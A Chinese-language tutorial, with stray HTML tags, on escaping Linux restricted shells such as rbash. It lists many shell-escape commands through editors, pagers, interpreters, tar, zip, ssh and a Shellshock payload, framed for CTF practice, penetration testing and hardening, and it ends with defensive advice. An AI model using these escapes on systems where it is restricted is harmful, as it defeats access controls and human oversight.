Linux受限Shell环境绕过技术详解<\/h1>

1. 受限Shell环境概述<\/h2>

受限Shell环境(Restricted Shell)是一种会阻止或限制某些命令和环境变量使用的Shell环境，常见类型包括：<\/p>

rbash (Restricted Bash)<\/li>
rksh (Restricted Korn Shell)<\/li>

rsh (Restricted Shell)<\/li> <\/ul>

受限Shell的用途<\/h3>

提高系统安全性<\/li>
防止黑客\/渗透测试攻击<\/li>
防止危险命令的误操作<\/li>

用于CTF挑战(Root-me\/HackTheBox\/Vulnhub)<\/li> <\/ol>

2. 环境枚举技术<\/h2>

在尝试绕过前，必须充分枚举当前环境：<\/p>

检查可用命令<\/strong>：测试cd<\/code>、ls<\/code>、echo<\/code>等基本命令是否可用<\/li>
检查操作符<\/strong>：测试><\/code>、>><\/code>、<<\/code>、|<\/code>等重定向和管道操作符<\/li>
检查编程语言<\/strong>：寻找可用的perl<\/code>、ruby<\/code>、python<\/code>等解释器<\/li>
检查sudo权限<\/strong>：运行sudo -l<\/code>查看可以root身份运行的命令<\/li>
检查SUID文件<\/strong>：查找具有SUID权限的文件或命令<\/li>
检查当前Shell<\/strong>：echo $SHELL<\/code>通常显示rbash<\/li>

检查环境变量<\/strong>：使用env<\/code>或printenv<\/code>命令<\/li>
<\/ol>
3. 常见绕过技术<\/h2>
3.1 基本绕过方法<\/h3>


直接调用Shell<\/strong>：<\/p>
\/bin\/sh
<\/span><\/span>\/bin\/bash
<\/span><\/span><\/code><\/pre><\/li>

使用cp命令复制Shell<\/strong>：<\/p>
cp \/bin\/sh \/tmp\/mysh
<\/span><\/span>\/tmp\/mysh
<\/span><\/span><\/code><\/pre><\/li>

通过FTP绕过<\/strong>：<\/p>
ftp
<\/span><\/span>!\/bin\/sh
<\/span><\/span><\/code><\/pre><\/li>

使用GDB绕过<\/strong>：<\/p>
gdb
<\/span><\/span>!\/bin\/sh
<\/span><\/span><\/code><\/pre><\/li>

通过分页程序绕过<\/strong>：<\/p>
more \/etc\/passwd
<\/span><\/span>!\/bin\/sh
<\/span><\/span>
<\/span><\/span># 或<\/span>
<\/span><\/span>less \/etc\/passwd
<\/span><\/span>!\/bin\/sh
<\/span><\/span>
<\/span><\/span># 或<\/span>
<\/span><\/span>man ls
<\/span><\/span>!\/bin\/sh
<\/span><\/span><\/code><\/pre><\/li>

使用Vim绕过<\/strong>：<\/p>
vim
<\/span><\/span>:!\/bin\/sh
<\/span><\/span><\/code><\/pre><\/li>

使用RVim和Python<\/strong>：<\/p>
rvim
<\/span><\/span>:python import os; os.system(<\/span>"\/bin\/bash"<\/span>)<\/span>
<\/span><\/span><\/code><\/pre><\/li>

使用SCP绕过<\/strong>：<\/p>
scp -S \/path\/yourscript x y:
<\/span><\/span><\/code><\/pre><\/li>

使用AWK执行Shell<\/strong>：<\/p>
awk 'BEGIN {system("\/bin\/sh")}'<\/span>
<\/span><\/span><\/code><\/pre><\/li>

使用Find执行Shell<\/strong>：<\/p>
find \/ -name test -exec \/bin\/sh \;<\/span>
<\/span><\/span><\/code><\/pre><\/li>
<\/ol>
4. 基于编程语言的绕过技术<\/h2>


Expect<\/strong>：<\/p>
expect
<\/span><\/span>spawn sh
<\/span><\/span><\/code><\/pre><\/li>

Python<\/strong>：<\/p>
python -c 'import os; os.system("\/bin\/sh")'<\/span>
<\/span><\/span><\/code><\/pre><\/li>

PHP<\/strong>：<\/p>
php -a
<\/span><\/span>exec(<\/span>"sh -i"<\/span>)<\/span>;
<\/span><\/span><\/code><\/pre><\/li>

Perl<\/strong>：<\/p>
perl -e 'exec "\/bin\/sh";'<\/span>
<\/span><\/span><\/code><\/pre><\/li>

Lua<\/strong>：<\/p>
lua
<\/span><\/span>os.execute(<\/span>'\/bin\/sh'<\/span>)<\/span>
<\/span><\/span><\/code><\/pre><\/li>

Ruby<\/strong>：<\/p>
ruby
<\/span><\/span>exec "\/bin\/sh"<\/span>
<\/span><\/span><\/code><\/pre><\/li>
<\/ol>
5. 高级绕过技术<\/h2>


SSH方法1<\/strong>：<\/p>
ssh username@IP -t "\/bin\/sh"<\/span>
<\/span><\/span><\/code><\/pre><\/li>

SSH方法2<\/strong>：<\/p>
ssh username@IP -t "bash --noprofile"<\/span>
<\/span><\/span><\/code><\/pre><\/li>

SSH方法3(Shellshock)<\/strong>：<\/p>
ssh username@IP -t "() { :; }; \/bin\/bash"<\/span>
<\/span><\/span><\/code><\/pre><\/li>

SSH方法4(SUID利用)<\/strong>：<\/p>
ssh -o ProxyCommand=<\/span>"sh -c \/tmp\/yourfile.sh"<\/span> 127.0.0.1
<\/span><\/span><\/code><\/pre><\/li>

Git绕过<\/strong>：<\/p>
git help status
<\/span><\/span>!\/bin\/bash
<\/span><\/span><\/code><\/pre><\/li>

Pico编辑器绕过<\/strong>：<\/p>
pico -s "\/bin\/bash"<\/span>
<\/span><\/span># 然后CTRL+T执行<\/span>
<\/span><\/span><\/code><\/pre><\/li>

Zip绕过<\/strong>：<\/p>
zip \/tmp\/test.zip \/tmp\/test -T --unzip-command=<\/span>"sh -c \/bin\/bash"<\/span>
<\/span><\/span><\/code><\/pre><\/li>

Tar绕过<\/strong>：<\/p>
tar cf \/dev\/null testfile --checkpoint=<\/span>1<\/span> --checkpoint-action=<\/span>exec=<\/span>\/bin\/bash
<\/span><\/span><\/code><\/pre><\/li>
<\/ol>
6. 实践挑战<\/h2>
推荐实践平台：<\/p>

Root-me INSANE rbash绕过挑战：

https:\/\/www.root-me.org\/en\/Challenges\/App-Script\/Restricted-shells<\/li>
HackTheBox相关挑战<\/li>
<\/ul>
7. 防御措施<\/h2>
为防止受限Shell被绕过，管理员应：<\/p>

限制所有不必要的命令和程序<\/li>
严格控制PATH环境变量<\/li>
禁用所有非必要的编程语言解释器<\/li>
定期审计SUID\/SGID文件<\/li>
使用chroot jail等更严格的隔离机制<\/li>
<\/ol>
总结<\/h2>
本文详细介绍了多种绕过Linux受限Shell环境的技术，从基本方法到高级技巧，涵盖了命令行工具、编程语言和特殊利用方式。在实际渗透测试或安全评估中，应根据具体环境选择合适的方法。同时，作为系统管理员，了解这些绕过技术有助于更好地加固受限Shell环境。<\/p>